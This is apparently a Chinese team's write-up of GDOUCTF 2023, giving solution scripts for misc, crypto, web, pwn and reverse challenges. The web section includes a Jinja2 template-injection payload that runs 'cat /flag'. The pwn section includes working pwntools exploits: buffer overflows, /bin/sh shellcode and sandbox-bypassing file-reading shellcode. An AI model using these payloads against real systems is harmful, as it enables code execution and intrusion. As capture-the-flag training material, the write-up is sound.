GDOUCTF2023 WriteUP by 肥猪拱菜队

前言

本篇WriteUP为B@0、ccc、Boogipop、树木共同编写,感谢三位师傅带我打比赛拿了个第五Orz

Misc

签到

关注微信公众号发送指令得到flag

Matryoshka

解压附件得到一个zip和一个txt,看看txt的内容

不难发现,是将数字和一些运算符号给用英文替换了,我们手动计算一下,但是解压发现并不是密码,我开始怀疑是不是思路错了,然而。。。

队友说是直接从左往右算,而不是先乘除后加减,所以不能用eval,这里自己造个轮子打一打


import re, zipfile



def replace_words(line):

    line = line.replace("one", "1")

    line = line.replace("two", "2")

    line = line.replace("three", "3")

    line = line.replace("four", "4")

    line = line.replace("five", "5")

    line = line.replace("six", "6")

    line = line.replace("seven", "7")

    line = line.replace("eight", "8")

    line = line.replace("nine", "9")

    line = line.replace("zero", "0")

    line = line.replace("plus", "+")

    line = line.replace("minus", "-")

    line = line.replace("times", "*")

    line = line.replace("divided", "/")

    line = line.replace("mod", "%")

    return line



def eval_line(line):

    tokens = re.findall(r"\d+|[\+\-\*/%]", line)

    result = int(tokens[0])

    i = 1

    while i < len(tokens):

        if tokens[i] == '+':

            result += int(tokens[i + 1])

        elif tokens[i] == '-':

            result -= int(tokens[i + 1])

        elif tokens[i] == '*':

            result *= int(tokens[i + 1])

        elif tokens[i] == '/':

            result /= int(tokens[i + 1])

        elif tokens[i] == '%':

            result %= int(tokens[i + 1])

        i += 2

    return int(result)



number = 1000

while(number > 1):

    with open("password"+str(number)+".txt") as f:

        password = f.read()

        password = replace_words(password)

        print(password)

        result = eval_line(password)

        print(result)



    with zipfile.ZipFile("Matryoshka"+str(number)+".zip") as my_zip:

        my_zip.extractall(pwd=str(result).encode())

    number = number - 1

    print(number)

然后脚本挂着挂着寄了

还以为是模运算优先级问题,跟chatgpt扯皮半天,结果我的队友发现密码不要负数,让我试试绝对值,那我就加上绝对值试试


while(number > -1):

    with open("password"+str(number)+".txt") as f:

        password = f.read()

        password = replace_words(password)

        print(password)

        result = abs(eval_line(password))

        print(result)



    with zipfile.ZipFile("Matryoshka"+str(number)+".zip") as my_zip:

        my_zip.extractall(pwd=str(result).encode())

    number = number - 1

    print(number)

你别说,你还真别说,真就是那个绝对值的问题,加上abs后完美解决,成功拿到flag


NSSCTF{4u70m473_3v3ry7h1n6}

pixelart

拿到附件,看到很像flag的东西

直接肉眼OCR,读半天读了个fake的flag,气死我了!!!

再继续尝试,发现美腿部分也有一部分像素点,用PS读一下RGB,然后PIL造个轮子提一下


def image_read(image_path: str, logger: logging.Logger) -> tuple:

    """将输入的图像文件(文件路径)进行读取,并逐行扫描后,将像素数据写入列表对象并返回



    Args:

        image_path (str): 图像文件的路径



    Returns:

        tuple: (X_image:int, Y_image:int, img_pixels:list, img_data_image:Image)

        X_image (int): 图像文件的路径

        Y_image (int): 二进制数据的处理顺序

        img_pixels (int): 图像的像素数据

        img_data_image (Image): 图像对象

    """

    img_data_image = Image.open(image_path)

    img_data_image.convert("RGBA")



    X_image, Y_image = img_data_image.size

    img_pixels = []

    for y in range(Y_image):

        for x in range(X_image):

            img_pixels.append(img_data_image.getpixel((x, y)))

    return X_image, Y_image, img_pixels, img_data_image

调用轮子,提取所有像素点


from images import images

import logging

from PIL import Image



logger = logging.getLogger("zeus-log")

logger.setLevel(logging.DEBUG)



if __name__ == "__main__":

    X, Y, img, im = images.image_read("./arcaea.png", logger)

    imm = Image.new("RGB", (320, 180))

    m, n = 0, 0

    for i in range(0, Y, 12):

        for j in range(0, X, 12):

            pixel = img[i*X+j]

            imm.putpixel((m, n), pixel)

            m += 1

        n += 1

        m = 0

    imm.show()

得到一张非常哇塞的图片,但是没有flag

zsteg跑一下,这次有flag了捏


NSSCTF{J3st_2_cats_battling}

Crypto

Absolute_Baby_Encrytpion

签到题,单表替换密码,表都给了,费点功夫逆个表


encryptedString = input("Enter an encrypted string: ")

charArray = list(encryptedString)

decryptedString = ""

hasInvalidCharacter = False



for char in charArray:

    if char == '!':

        decryptedString += 'a'

    elif char == '1':

        decryptedString += 'b'

    elif char == ')':

        decryptedString += 'c'

    elif char == 'v':

        decryptedString += 'd'

    elif char == 'm':

        decryptedString += 'e'

    elif char == '+':

        decryptedString += 'f'

    elif char == 'q':

        decryptedString += 'g'

    elif char == '0':

        decryptedString += 'h'

    elif char == 'c':

        decryptedString += 'i'

    elif char == ']':

        decryptedString += 'j'

    elif char == '(':

        decryptedString += 'k'

    elif char == '}':

        decryptedString += 'l'

    elif char == '[':

        decryptedString += 'm'

    elif char == '8':

        decryptedString += 'n'

    elif char == '5':

        decryptedString += 'o'

    elif char == '$':

        decryptedString += 'p'

    elif char == '*':

        decryptedString += 'q'

    elif char == 'i':

        decryptedString += 'r'

    elif char == '>':

        decryptedString += 's'

    elif char == '#':

        decryptedString += 't'

    elif char == '<':

        decryptedString += 'u'

    elif char == '?':

        decryptedString += 'v'

    elif char == 'o':

        decryptedString += 'w'

    elif char == '^':

        decryptedString += 'x'

    elif char == '-':

        decryptedString += 'y'

    elif char == '_':

        decryptedString += 'z'

    elif char == 'h':

        decryptedString += '0'

    elif char == 'w':

        decryptedString += '1'

    elif char == 'e':

        decryptedString += '2'

    elif char == '9':

        decryptedString += '3'

    elif char == 'g':

        decryptedString += '4'

    elif char == 'z':

        decryptedString += '5'

    elif char == 'd':

        decryptedString += '6'

    elif char == '~':

        decryptedString += '7'

    elif char == '=':

        decryptedString += '8'

    elif char == 'x':

        decryptedString += '9'

    elif char == 'j':

        decryptedString += '!'

    elif char == ':':

        decryptedString += '@'

    elif char == '4':

        decryptedString += '#'

    elif char == 'b':

        decryptedString += '$'

    elif char == '`':

        decryptedString += '%'

    elif char == 'l':

        decryptedString += '^'

    elif char == '3':

        decryptedString += '&'

    elif char == 't':

        decryptedString += '*'

    elif char == '6':

        decryptedString += '('

    elif char == 's':

        decryptedString += ')'

    elif char == 'n':

        decryptedString += '_'

    elif char == ';':

        decryptedString += '+'

    elif char == '\'':

        decryptedString += '-'

    elif char == 'r':

        decryptedString += '='

    elif char == 'k':

        decryptedString += '`'

    elif char == 'p':

        decryptedString += '~'

    elif char == '\"':

        decryptedString += '{'

    elif char == '&':

        decryptedString += '}'

    elif char == '/':

        decryptedString += '['

    elif char == '\\':

        decryptedString += ']'

    elif char == '2':

        decryptedString += '|'

    elif char == '.':

        decryptedString += ':'

    elif char == '%':

        decryptedString += ';'

    elif char == '|':

        decryptedString += '\"'

    elif char == ',':

        decryptedString += '\''

    elif char == '@':

        decryptedString += '<'

    elif char == '{':

        decryptedString += '>'

    elif char == 'u':

        decryptedString += ','

    elif char == '7':

        decryptedString += '.'

    elif char == 'y':

        decryptedString += '?'

    elif char == 'a':

        decryptedString += '/'

    else:

        hasInvalidCharacter = True



if hasInvalidCharacter:

    decryptedString = "Invalid String!"

else:

    print(f"Your decoded string is {decryptedString}")

Math Problem

根据椭圆曲线的性质,直接copper出x,然后用small_roots求p,最后常规RSA解密,搞定


from Crypto.Util.number import *

import gmpy2



e = 65537

n = 79239019133008902130006198964639844798771408211660544649405418249108104979283858140199725213927656792578582828912684320882248828512464244641351915288069266378046829511827542801945752252863425605946379775869602719406340271702260307900825314967696531175183205977973427572862807386846990514994510850414958255877

c = 45457869965165575324534408050513326739799864850578881475341543330291990558135968254698676312246850389922318827771380881195754151389802803398367341521544667542828862543407738361578535730524976113729406101764290984943061582342991118766322793847422471903811686775249409300301726906738475446634950949059180072008

a = 9303981927028382051386918702900550228062240363697933771286553052631411452412621158116514735706670764224584958899184294505751247393129887316131576567242619

b = 9007779281398842447745292673398186664639261529076471011805234554666556577498532370235883716552696783469143334088312327338274844469338982242193952226631913

y = 970090448249525757357772770885678889252473675418473052487452323704761315577270362842929142427322075233537587085124672615901229826477368779145818623466854



PR = PolynomialRing(base_ring=Zmod(n), names=('x',))

x = PR.gen()



f = x**3 + a*x + b - y**2

f = f.monic()

x0 = f.small_roots(X=2**64, beta=0.4, epsilon=0.01)[0]

f = x0**3 + a*x0 + b - y**2



p = gmpy2.gcd(int(f), n)

q = n // p

phi = (p - 1) * (q - 1)

d = gmpy2.invert(e, phi)

m = pow(c, d, n)



print(long_to_bytes(m))

babylua

拿chatgpt做的 233 虽然不是密码手 但是还是出了一题

虽然看不懂lua语言 丢给gpt分析以后知道了 主要逻辑 从大小写字母中随机抽取4个字符 经过md5加密以后 给出了前10位 这里需要第一次遍历是哪四个字符 最后得知是kKpU

爆破字符的脚本:


from hashlib import md5

from itertools import product



dic = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'

seed_list = [''.join(x) for x in product(dic, repeat=4)]



for seed in seed_list:

    key = md5(md5(seed.encode()).hexdigest().encode()).hexdigest()[:10]

    if key == 'b5e62abe84':

        print(seed)

        break

得到flag的脚本


from hashlib import md5



key = md5(md5(b'kKpU').hexdigest().encode()).hexdigest().encode()

s = '200 161 198 157 173 169 199 150 105 163 193 175 173 194 135 131 135 225'.split()



for i in range(len(s)):

    print(chr(int(s[i]) - key[i]), end='')

最后其实就是利用把s的每一位对应的key 减去就行了

Web

hate eat snake

改前端JS.

image.png

受不了一点

我也一点都受不了这题目,无语,你自己品


POST /?aaa=114514a&bbb=114514b HTTP/1.1

Host: node6.anna.nssctf.cn:28329

Content-Length: 31

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

Origin: http://node6.anna.nssctf.cn:28329

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Referer: http://node6.anna.nssctf.cn:28329/?aaa=114514a&bbb=114514b

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7

cookie: cookie=j0k3r

Connection: close



gdou%5B%5D=1&ctf%5B%5D=2&flag=1

请求包如上,发送即可获得

EZ WEB

我会发PUT请求

image.png

<ez_ze>

随便掏了个payload


{% set coun=dict(eeeeeeeeeeeeeeeeeeeeeeee=a)|join|count%}{% set po=dict(po=a,p=a)|join%}{% set a=(()|select|string|list)|attr(po)(coun)%}{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}

{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}{% set xxx=dict(o=a,s=a)|join%}{%print(lipsum|attr(glo)|attr(a+a+'get'+'item'+a+a)(xxx)|attr('po'+'pen')('cat /flag')|attr('read')())%}x`

image.png

Pwn

EASY PWN

表面上看起来是猜测/dev/urandom中的随机数 但是实际上能否获取flag是依靠v5的值 使其为1即可获取flag

s1字符串的读入是采取gets函数 存在溢出 只需要0x1f-0x4的垃圾数据 就能够到v5


from pwn import*

from struct import pack

from ctypes import *

from LibcSearcher import*



#io = process("./pwn")

io = remote("node5.anna.nssctf.cn",28952)

elf = ELF("./pwn")

libc = ELF("./libc.so.6")

context.log_level = "debug"

context.arch = "amd64"



io.recvuntil("Password:")

payload = cyclic(0x1f-0x4)+p32(1)

io.sendline(payload)

io.recv()

io.recv()

Shellcode

板子题 有往bss段读入shellcode的机会 也有栈溢出 那就直接跳转就好了


from pwn import*

from struct import pack

from ctypes import *

from LibcSearcher import*



#io = process("./pwn")

io = remote("node6.anna.nssctf.cn",28966)

elf = ELF("./pwn")

libc = ELF("./libc.so.6")

context.log_level = "debug"

context.arch = "amd64"



io.recvuntil("Please.")

shellcode = '\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'

io.send(shellcode)

io.recvuntil("Let's start!")

payload = cyclic(0xa+0x8)+p64(0x6010A0)

io.send(payload)

io.interactive()

真男人下120层

考的伪随机数 虽然拿了时间当种子 但是我们脚本也可以利用时间当种子 一般不会偏差到哪里去 概率失败

虽然但是 还是要吐槽一句 伪随机数真的考烂了 我第一篇wp就是关于伪随机数的


from pwn import*

from struct import pack

from ctypes import *

from LibcSearcher import*



#io = process("./pwn")

io = remote("node5.anna.nssctf.cn",28082)

elf = ELF("./pwn")

#libc = ELF("./libc.so.6")

libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')

context.log_level = "debug"

context.arch = "amd64"




seed = libc.time(0)

libc.srand(seed)

libc.srand(libc.rand() % 3 - 1522127470)

for i in range(120):

    io.recvuntil("\n\n")

    buf = libc.rand() % 4 + 1

    io.sendline(str(buf))



io.recvuntil("Congratulation!")

flag = io.recvuntil("}")

print(flag)

Random

手写shellcode的题 就是不理解为什么一定要塞随机数进来。。。出题人这么喜欢伪随机数吗

思路就是构造read往其他rwxp权限地址写orw 因为开启了沙盒 本来有想过不赋值rsi了 直接在栈上写 但是试了下 本地能通 远程估计因为libc版本的原因 偏移不对 失败了 耽误了点时间 痛失血

vmmap查看一下 0x601000可以用来当中转

image-20230416164814335


from pwn import*

from ctypes import *

#io = process("./pwn")

io = remote("node5.anna.nssctf.cn",28381)

context.log_level = "debug"

context.terminal = ['tmux','splitw','-h']

elf = ELF("./test")

libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

#libc = ELF("buu16_64.so")

context.arch = "amd64"



seed = libc.time(0)

libc.srand(seed)

io.recvuntil("please input a guess num:")

buf = libc.rand()%50

io.sendline(str(buf))

io.recvuntil("your door")

shellcode = """

xor eax,eax

shl edx,12

mov esi,0x601700

syscall

jmp rsi

"""

jmp_rsp = 0x000000000040094e

payload = cyclic(0x28)+p64(jmp_rsp)+asm(shellcode)

# gdb.attach(io,'b *0x400949')

# pause(0)

io.send(payload)

shellcode = asm('''

    push 0x67616c66

    mov rdi,rsp

    xor esi,esi

    push 2

    pop rax

    syscall

    mov rdi,rax

    mov rsi,rsp

    mov edx,0x100

    xor eax,eax

    syscall

    mov edi,1

    mov rsi,rsp

    push 1

    pop rax

    syscall

    ''')

io.send(shellcode)

flag = io.recvuntil("}")

print(flag)

Reverse

Check_Your_Luck

z3解题即可


from z3 import *

v,w,x,y,z= Ints("v w x y z")

solver = Solver()

#check '76876' '77776'

solver.add(v * 23 + w * -32 + x * 98 + y * 55 + z * 90 == 333322)

solver.add(v * 123 + w * -322 + x * 68 + y * 67 + z * 32 == 707724)

solver.add(v * 266 + w * -34 + x * 43 + y * 8 + z * 32 == 1272529)

solver.add(v * 343 + w * -352 + x * 58 + y * 65 + z * 5 == 1672457)

solver.add(v * 231 + w * -321 + x * 938 + y * 555 + z * 970 == 3372367)



solver.check()

result = solver.model()

print(result)

# flag{4544_123_677_1754_777}

#print("flag{" + result["v"] + "_" + result["w"] + "_" + result["x"] + "_" + result["y"] + "_" + result["z"] + "}")

doublegame

image-20230416202925860

第一个游戏是贪吃蛇,修改分数跳过即可。第二个游戏是迷宫,迷宫又分两步,第一步走到 从@走到 * ,第二步走出去。

然后flag格式是

image-20230416202615540


000000000000000000000

0 0 0 0     0     0 0

0 0 0 00000 00000 0 0

0 0               0 0

0 000 000 0 000 0 0 0

0 0     0 0 0   0 0 0

0 0 0 00000 000 000 0

0 0 0     0   0 0

0 000 0 0 000 0 0 0 0

0     0 0 0 0 0 0 0 0

0 00000 000 000 0 0 0

0     0       0   0 0

000 0 0 0 000 0 0 0 0

0 0 0 0 0 0 * 0 0 0 0

0 0000000 0 000 00000

@   0   0 0         0

0 0 0 0 0 00000000000

0 0 0 0             0

000 0 00000 0 000 000

0         0 0   0   0

000000000000000000000

dddssssddwwwwddssddwwwwwwddddssaassddddwwwwddwwwwddd




最高分:13371337



NSSCTF{5AFFF098B4E0757913371337}

NSSCTF{811173B05AFFF098B4E0757962127EAC13371337}

NSSCTF{811173b05afff098b4e0757962127eac13371337} //正确的

NSSCTF{5afff098b4e0757913371337}

NSSCTF{811173b05afff098b4e0757962127eac13371337}

Tea

xtea算法

有了key和密文解密即可


#include <stdio.h>

#include <cstdint>

#include <windows.h>



void De(DWORD* enc, DWORD* key)

{

    int v2; // [rsp+44h] [rbp+24h]

    int i; // [rsp+64h] [rbp+44h]

    unsigned int v4; // [rsp+84h] [rbp+64h]

    unsigned int sum; // [rsp+C4h] [rbp+A4h]



    for (i = 8; i >= 0; --i)

    {

        v4 = 0;

        sum = 0xF462900 * i + 0xF462900 * 33;

        v2 = i + 1;

        do

        {

            ++v4;

            sum -= 0xF462900;

            enc[v2] -= (sum + key[(sum >> 11) & 3]) ^ (enc[i] + ((enc[i] >> 5) ^ (16 * enc[i])));

            enc[i] -= sum ^ (enc[v2] + ((enc[v2] >> 5) ^ (16 * enc[v2]))) ^ (sum + key[sum & 3]);

        } while (v4 <= 32);

    }

}



DWORD key[4] = {0x8B9, 0x1167, 0x1A15, 0x22C3};



DWORD data[10] = { 0x1A800BDA, 0xF7A6219B, 0x491811D8, 0xF2013328, 0x156C365B, 0x3C6EAAD8, 0x84D4BF28, 0xF11A7EE7,0x3313B252, 0xDD9FE279 };




int main() {



    De(data, key);



    for (int i = 0;i < 10;i++) {

        printf("0x%x ", data[i]);

    }



    return 0;

}

image-20230416203819707

每日emo

【天上皎皎明月光,人间匆匆少年郎,脚步最匆匆】

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值